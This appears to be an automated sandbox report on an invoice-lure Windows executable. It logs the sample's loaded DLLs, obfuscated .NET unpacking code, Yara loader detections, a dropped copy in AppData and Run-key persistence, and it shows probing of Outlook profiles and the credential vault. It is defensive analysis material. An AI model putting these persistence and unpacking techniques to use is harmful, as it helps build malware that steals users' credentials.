Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: GEFA-Order 232343-68983689.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: GEFA-Order 232343-68983689.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.000000000342A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1736166624.0000000006F60000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.000000000440A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004261000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.000000000281A000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.000000000314C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.000000000342A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1736166624.0000000006F60000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.000000000440A000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004261000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.000000000281A000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.000000000314C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, zD4eAqejnbD8YI9R4OZ.cs

.Net Code: Type.GetTypeFromHandle(Sx15xO0TOnhA2u0ZdoK.JAfPsLRys8(16777265)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(Sx15xO0TOnhA2u0ZdoK.JAfPsLRys8(16777259)),Type.GetTypeFromHandle(Sx15xO0TOnhA2u0ZdoK.JAfPsLRys8(16777263))})

.NET source code contains potential unpacker

Source: GEFA-Order 232343-68983689.exe, Zobwfhfng.cs	.Net Code: Octjwv System.AppDomain.Load(byte[])
Source: Cbgoomiexw.exe.0.dr, Zobwfhfng.cs	.Net Code: Octjwv System.AppDomain.Load(byte[])
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.6f60000.11.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.GEFA-Order 232343-68983689.exe.3475368.1.raw.unpack, Zobwfhfng.cs	.Net Code: Octjwv System.AppDomain.Load(byte[])
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.440a100.7.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.43ba0e0.3.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.6e10000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1965310119.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1735614547.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1881514343.000000000269A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1716960379.00000000032AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 8052, type: MEMORYSTR

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7EE89 push es; retf	0_2_06D7EEAC
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7EE75 push es; ret	0_2_06D7EE88
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7BBB6 push ebx; retn 0019h	0_2_06D7BBBA
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7CB18 push es; retf	0_2_06D7CB29
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7D8E1 push B9FFFFFFh; iretd	0_2_06D7D8FF
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9803F push es; retf	0_2_06D98040
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D95F8F pushad ; iretd	0_2_06D95F99
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D97C7C push cs; ret	0_2_06D97C7F
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE7486 push es; iretd	0_2_06EE7488
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EEB275 push ebx; ret	0_2_06EEB277
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EEB350 push es; retf	0_2_06EEB354
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EEB0F5 push ebp; ret	0_2_06EEB0F6
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE1845 push es; retf	0_2_06EE1858
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE696A pushfd ; ret	0_2_06EE696B
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE6927 pushfd ; ret	0_2_06EE6933
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1B7D0 push es; ret	0_2_06F1B880
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F135F4 push ebx; retf	0_2_06F135F7
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1B890 push es; ret	0_2_06F1B880
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1606D push es; ret	0_2_06F1609C
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1783E push es; ret	0_2_06F17840
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F42C3F push eax; retf	0_2_06F42C4D
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F53EBF push ds; ret	0_2_06F53EC4
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F5368C push ecx; retf	0_2_06F53691
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_071D694F push es; retf	0_2_071D6957
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_071D3DB5 push ebp; ret	0_2_071D3DBB
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06132EA7 push esp; retf	3_2_06132EA8
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619EE89 push es; retf	3_2_0619EEAC
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619CB18 push es; retf	3_2_0619CB29
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619BBB6 push ebx; retn 0019h	3_2_0619BBBA
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06192830 push es; ret	3_2_06192840
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619D8D7 push B9FFFFFFh; iretd	3_2_0619D8FF

Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, yEYn7memXanvY8qAQSm.cs	High entropy of concatenated method names: 'FEDeD8JObi', 'n3leq05POl', 'phqdjSW1EHagOG4i8qw', 'y6n0PSW2AhrKyiQa8yc', 'qh1booW5C5qxwrENGSR', 'OtNit5Wuu0MA0pnE6rU', 'd9kCsoWPeBjm1nwoqXB', 'GDHgFfWxdcUjO4DrcSd', 'qsmFqSW9wK7rvhF7uox', 'FyRnAvWaTq7YfILBNpC'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, TtfWM0eceGs3PlVqVWr.cs	High entropy of concatenated method names: 'VqyeynjM76', 'cECeiUMjMx', 'lXyeBPMoIM', 'hAcmnBWRIrofFEHvmqd', 'INMjjUW6T26HvMtNapD', 'Cr5KfkWUvWqL55cCk54', 'UHp6UyWwaaEw7smLIOT', 'AQ9w5FW8rjVy30sFFjv', 'HasmPyWbAcscSZl3meB'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, OdXLaBw9iYOibl1f1M.cs	High entropy of concatenated method names: 'rb668LkOc', 'LxT8FLiuk', 'SHRgUJVgH', 'TrjbgmRMs', 'qIVJC8gEmv8KbfeXdCs', 'JhUPCigcw9kDl4yiblZ', 'sTeX06gNyffLFFjF48x', 'Sotcv2gyndCvlsVseVQ', 'ICbedkgi4bLd1DPPSif', 'YsqipEgXUTxfVa9HZyU'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'xAeipOJKHKFbfhP6Vuq'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, skVet7A78GyY9gLd8ZD.cs	High entropy of concatenated method names: 'bheATP1iuO', 'HSd1AlTc7Ku1xnAspAc', 'pLhS4KTNycaKqJowIGm', 'yh3tElTy1dsy2qg3WKp', 'TXgTT4TibOo8YM1DlVK', 'wga0uITXHM0C2FudsXm', 'HlfYZDTBIheJlkgOam4', 'e1KgcYTQsRR3GlARb55', 'DSZ6KyTEs0bQC5fFGt9'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, IKNxv70zBKwI7SQQVOR.cs	High entropy of concatenated method names: 'T82L6WF7TG', 't99L8KKxhI', 'brgLbci04O', 'JxeLgEt52m', 'mSOLkIsghU', 'DJcLOH7dcw', 'lNYL7s8gss', 'o67ZRo1gBU', 'KAsLvb7hAn', 'QL4LTyLiPX'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, oidSR1eRJxx5CN4TlPx.cs	High entropy of concatenated method names: 'LEie8jRUaa', 'GVHeb8Vene', 'vYskn3J485MHJeTtane', 'PormX0JYrX7LferYs5K', 'XlHkhsJ0n45UP1uSsOY', 'AnJ9j2JZKOZv3VNSAcW', 'Sme1kGJrt1J6eXhT9WX', 'eLUnqYJpsEH5doaTgeo', 'P1kfDpJmEMPyLA2XwkD', 'Afg5abJLWOms20JAdXS'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, GRlSkweTHMcoyE79RKn.cs	High entropy of concatenated method names: 'AJqPJRpmw7', 'ERAfA4SZbH5ety5LEvo', 'Add6F9S467GwAnkODAl', 'NdrZT4SYHye2WOsj8gY', 'qQopZNSrNZXMgXVtFji', 'UBZmq7SpQ04tmdLD18p', 'jdPfILSde4I1guIO1uJ', 'GXpblJS0cIOAT0B8Y8y', 'kLtkvqSm5O2fN1gFUex', 'bBTtnVSLFJipJVfFPO8'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, uIiY3gi8rETsT9Cm4WP.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'JarigQqLwn', 'NtProtectVirtualMemory', 'cDWcjs7tIE1NJX8AE4q', 'ARbs8N7KUR7GPNqU7hN', 'wtOeZk7sy4jC09TuyRP', 'gZl5Ay73iFAyZHMUPKT'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, UslcZ6E6BIU3iypoirI.cs	High entropy of concatenated method names: 'xZWEb231kw', 'eZ6Onqgj9dCVPNTve0p', 'C7p1y8gsqjrR6hhO13f', 'zNBFEPg3Po5IbP9beqO', 'qRNjy6gtgYEcMRPEGSs', 'JsbNOxgKUbB4iqdxy8l', 'u9VIw3guRfQC1mNYyr6', 'kSn4BXgPdCMslCYi7PN', 'VdAWFVg1u9JV0yIrRA4', 'Lk2XDhg2CSUlXXXayFN'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, wEKG5YAW68OG7npcPmT.cs	High entropy of concatenated method names: 'DVXASMkmVe', 'fqQAjm6ybv', 'YZFb14TeY0CsZxw2T66', 'Vbx4olTd7YhjUWe6b5p', 'INW909T0B0yoC34VetI', 'FS9VQyTZIetuPIFdSlx', 'ErwbvsT4YBNZXFHKtLd', 'T3f22GTYkZQ5NB8uwFw', 'd5b9wSTrsT3qMp961J7', 'NlcTmvTpvrCTccx3OxE'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, b4GjdDeeR7yamg5YNco.cs	High entropy of concatenated method names: 'GQee0wqPXX', 'D4mNvoW7JVYseCmy2YF', 'TGciOqWvimHtkuNNdg8', 'l3vki5WTXcaWv2ZcHnI', 'fLKotMWWkX6JhVDZomJ', 'lCJ7NdWJO5RusXLhb9p', 'wpp3ZyWkCtwHghLpNEp', 'yF0UjYWO96vtgLb6X0M'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, kjbh9IiAKlsbusEoE34.cs	High entropy of concatenated method names: 'tDTidc0ska', 'SqPiZf6arr', 'RuGiYmeFCt', 'VmmipdQboo', 'SYTimT8y0J', 'yJ2iLwmVua', 'lwMiDdWerh', 'vyiiqWEg37', 'LCainIIxGI', 'NvZiU1R6Ui'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, EPkwiQyTwjV6nIifFoD.cs	High entropy of concatenated method names: 'TlgyJ6IMCE', 'XP4yScfsKW', 'TTEyjKhb7C', 'R9fyskE2ia', 'gJhy3c9e6Z', 'MoFmQkkzJjrtDCev5P3', 'ORHtsoOV9Lx3f1O46tD', 'XLLBd3OQVJ2vCdIfEoH', 'zeIDdeOECj1nfl2Drk7', 'LY47NeOcFPQX2oxUt9w'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, LDnbW8ytP2Wa2WMltog.cs	High entropy of concatenated method names: 'Y6UyumOPER', 'z3yyPjkaCf', 'CpRy1PKnoj', 'lo3bhYOKB8ryHv13tk9', 'dM4s1TOud3Bctn06dR6', 'O9ZkmHOPSb2IODJ7WwA', 'zGXkbMO3b1arKWNZ2Tn', 'BCpjuuOtZjeo56NQw3U', 'Ve9UTPO13GaefNaQk1E', 'KiOcYQO20KJnhtsbHoO'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, L4RVaiZVwXOc4HE7Js.cs	High entropy of concatenated method names: 'xSQrwywWW', 'T2ppeI8NJ', 'PwPLtm2ns', 'qIDDAvUPq', 'ruXY4PZ6D', 'WaYSDIbfSRsTrdTpfi9', 'lYaV13bl7d3sVlJ3Ab2', 'hidmrDbGKRimlmeDgZv', 'uTfTWObMTnPi97rYRw0', 'iArcPkboFp4aRfElYS8'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, dIMcEbAfTlk1Wdn2deZ.cs	High entropy of concatenated method names: 'KFxAGwLRLi', 'Asxq68WdKwQ2hehDYQw', 'XqB1FQW0ck2cqVxXYyX', 'qYR2ZvWZ4JQl7CgEY13', 'MUk64DW4cuhI0BcKXyP', 'R7jViOWY7NHUQkLp1vd', 'TdtYWcWrwXFy79nD13A', 'DoQ0ybWpVIcRlt2lJcd', 'RDwjjqWAMQ0pNDXUDJw', 'd8OgiRWesPPQR01Aqr9'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, fARbumiWEDLJYiPIk0q.cs	High entropy of concatenated method names: 'u4TiKRkpmd', 'Po74g17GFsG3YWOMX0G', 'i5Y9u87MCS8ps8F4NAh', 'pgEKqK7oUbQ9jxjQZrV', 'On2Hna7fdM6hidPNMDj', 'IVWn0f7lHZM5UfrdTBe', 'e2cI8l7aWqu0gWRMXkq', 'eSMpwP7HQkkg1mim4wN'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, Qk7gYy0sSX4FPdJgcVY.cs	High entropy of concatenated method names: 'ivP0HwuyH4', 'haX0FF1CF1', 'f2N0CoECNk', 'mRR0IcX4X0', 'Sy60hDCi8C', 'vTx0fL0cSK', 'R7d0lSslYs', 'N7s0GASlS6', 'H9X0MTg5kx', 'G740oN4elt'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, AFwsjUAacvViAPVZUCk.cs	High entropy of concatenated method names: 'nYQAFfrOh8', 'lo8kvdTf0GlGL3McVuA', 'UgSlnQTl0rVHNqoqgZw', 'IA5mhkTGYrPuRLwiP6L', 'WmFv54TMSIUnAVJuisx', 'hnHRs2TotU891deLlC3', 'YiDlyJTzBWh7CEKyWPy', 'g9eVVFWVG6JQGggn9YK', 'FOEBCNWQsNRaQbZ6XUl', 'wknU0tWEOXw0Q0ce3vx'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, EMIdZ6y8LHgGiSTYM1N.cs	High entropy of concatenated method names: 'k11yg8aYZn', 'rKWykGlPcL', 'NGDmMYk1K1B8LU5aQTS', 'dbewhBkuEvt2t8QpK1t', 'xdke4vkPEnsB6l11nGD', 'W69LZ2k2gd9AaGVhN7J', 'VtRs1Tk5I8ZB4gJOhiS', 'N7R1ZUkxDB103dqbxGH', 'HAofQ1k9CKgmOZJQZPx'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, CPvVT7enGUahd3DvErc.cs	High entropy of concatenated method names: 'ruuewO24wx', 'ypnN8TJNlgolNNgC7IA', 'jMnVk6JyIbKfy8qg6ML', 'LL7XaaJilkJtB896Uu2', 'FR5MnSJX6wBKmGHxGVQ', 'QA9kBUJBhSTgRE9jUg8', 'Lv46QsJAJmyeAZHDMp5', 'c2U3Q9JekVIHCrpSEyA', 'IhOxJYJEiLthP1LAl6Y', 'Lb0OPuJc31kEMK8lW2O'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, RoVkKwyOfIfhUajKqRO.cs	High entropy of concatenated method names: 'auJyvpPPMI', 't7ev2pkCl46PKiZjanR', 'uHuEBckI81NjjGAKHSq', 'EPGsPskhZ8cHANQFEuR', 'paAgCykf15x64TVokxj', 'KdRiNIklwqNJTlrpXXf', 'OfkAvCkHZEjIc6SMxgL', 'plVqJ2kF10roLpuZ7H1'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, zD4eAqejnbD8YI9R4OZ.cs	High entropy of concatenated method names: 'UxcZrGSRd1jV3Km1x9P', 'HmGUYbS6vfC7rG4e23L', 'nWk00nJpyn', 'GhcDhSSkgI46lf7565G', 'lnplprSOKNJqxTjI7x0', 'xiRogHS7UdUtaWeyM3Y', 'TEKnC5SvIJ1GyULgbFc', 'JyJHOKSTau6Z44eOwU7', 'SJuHBUSWwaxm7dcSEXh', 'EjhLvBSJC8vVOSYjZ0I'
Source: 0.2.GEFA-Order 232343-68983689.exe.4269550.2.raw.unpack, IXOA88AKGdrSMEyBYTO.cs	High entropy of concatenated method names: 'va5A2BCAdH', 'KOxA5hWqpU', 'oJAAPA7k68', 'Up1A11ZMm0', 'I6xHWxT21ZJlbL97qgD', 'ulVYIpT5nUm83I4J9pq', 'xjDYNITxMXdtaOpbSoA', 'rSoC1LT9oi3jbK5CaDR', 'ep2SAGTaXPmLlIpU8jX', 'WPbemGTHXaMSMTyK9o4'

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File created: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

Jump to dropped file

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cbgoomiexw			Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cbgoomiexw			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
